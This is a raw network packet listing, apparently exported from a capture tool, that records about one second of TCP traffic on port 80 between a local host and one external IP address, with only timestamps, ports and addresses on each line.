Dec 27, 2024 08:41:25.461594105 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.461656094 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.462198019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.462250948 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.462265968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.462320089 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.462349892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.462992907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463035107 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.463040113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463052034 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463094950 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.463138103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463773012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463819027 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463829041 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.463831902 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463880062 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.463897943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.463946104 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.464585066 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.464636087 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.464648008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.464680910 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.464709997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.465348959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.465399981 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.465408087 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.465411901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.465475082 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.465483904 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.465533018 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.466232061 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.466244936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.466254950 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.466291904 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.466344118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467056036 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467098951 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.467112064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467124939 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467187881 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.467266083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467340946 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.467818975 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467832088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467844009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467884064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.467902899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.468744040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.468800068 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.468813896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.468861103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.468904972 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.468961954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.469037056 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.469337940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.469409943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.469423056 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.469464064 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.469501972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470132113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470156908 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470170021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470186949 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.470213890 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.470304012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470926046 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470979929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.470992088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471030951 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.471030951 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.471054077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471438885 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.471741915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471782923 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471796036 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471858025 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.471867085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.471940994 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.472503901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.472544909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.472558022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.472606897 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.472642899 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.472721100 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.473359108 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.473372936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.473386049 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.473431110 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.473448038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.473592997 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.474275112 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474287987 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474298954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474311113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474360943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.474360943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.474899054 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474945068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.474956989 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475008011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.475030899 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475080013 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.475709915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475759983 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475771904 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475819111 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.475846052 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.475902081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.476468086 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.476526976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.476540089 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.476610899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.476627111 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.477272034 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.477319002 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.477332115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.477333069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.477400064 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.477437019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.477938890 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.478023052 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478095055 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478106976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478141069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.478176117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478228092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.478852987 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478899956 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478913069 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.478954077 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.479080915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.479157925 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.479660988 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.479700089 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.479712963 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.479752064 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.479820013 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.479881048 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.480437994 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.480484009 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.480495930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.480530024 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.480554104 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:25.480596066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:25.914807081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.034393072 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034415007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034423113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034516096 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034531116 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.034583092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.034749985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034818888 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034826040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.034898996 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.034923077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.035603046 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.035660028 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.035665989 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.035674095 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.035723925 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.035757065 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.035862923 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.036461115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.036468029 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.036480904 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.036494970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.036519051 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.036561966 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.037137985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.037195921 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.037201881 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.037246943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.037277937 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.038109064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038158894 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.038172007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038178921 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038224936 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.038301945 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038727045 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038772106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038778067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038790941 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.038835049 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.038873911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.038949966 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.039539099 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.039582968 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.039596081 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.039623022 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.039680958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.040335894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.040380955 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.040386915 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.040407896 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.040441990 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.040472031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.040541887 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.041121960 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.041209936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.041265965 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.041271925 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.041273117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.041320086 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.041352034 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042031050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042046070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042052031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042087078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.042129993 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.042161942 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042804003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042849064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042855978 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.042910099 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.042989016 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.043617010 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.043632030 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.043637991 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.043667078 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.043684959 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.043767929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.044384003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.044433117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.044439077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.044487000 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.044522047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.045192003 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.045228958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.045236111 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.045258045 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.045293093 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.045310020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046015978 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046022892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046036005 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046122074 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046154022 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.046746969 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046803951 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046811104 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.046890020 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.046911001 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.047553062 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.047597885 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.047604084 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.047610998 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.047651052 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.047672033 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.048361063 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.048419952 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.048425913 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.048496008 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.048496962 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049154997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049182892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049190998 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049199104 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.049237967 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.049268961 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049942970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049988031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.049994946 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.050051928 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.050084114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.050734997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.050750971 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.050755978 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.050808907 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.050865889 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.051522970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.051568985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.051575899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.051577091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.051620007 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.051665068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.052319050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.052361012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.052367926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.052414894 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.052472115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053141117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053165913 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053170919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053200960 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.053247929 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.053267956 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053977966 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053983927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.053996086 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.054071903 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.054075003 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.054810047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.054860115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.054867029 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.054960966 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.054976940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.055740118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.055756092 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.055767059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.055811882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.055811882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.055815935 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.056282997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.056298018 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.056320906 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.056369066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.056413889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.056504011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057132959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057171106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057178020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057193995 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.057252884 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057265997 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.057924986 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057970047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.057976007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.058017015 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.058058023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.058672905 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.058727026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.058734894 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.058804989 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.058808088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.059465885 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.059525967 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.059533119 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.059546947 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.059593916 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.059659004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.060261011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.060302019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.060308933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.060348988 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:26.060380936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:26.060403109 CET	49715	80	192.168.2.8	185.215.113.16
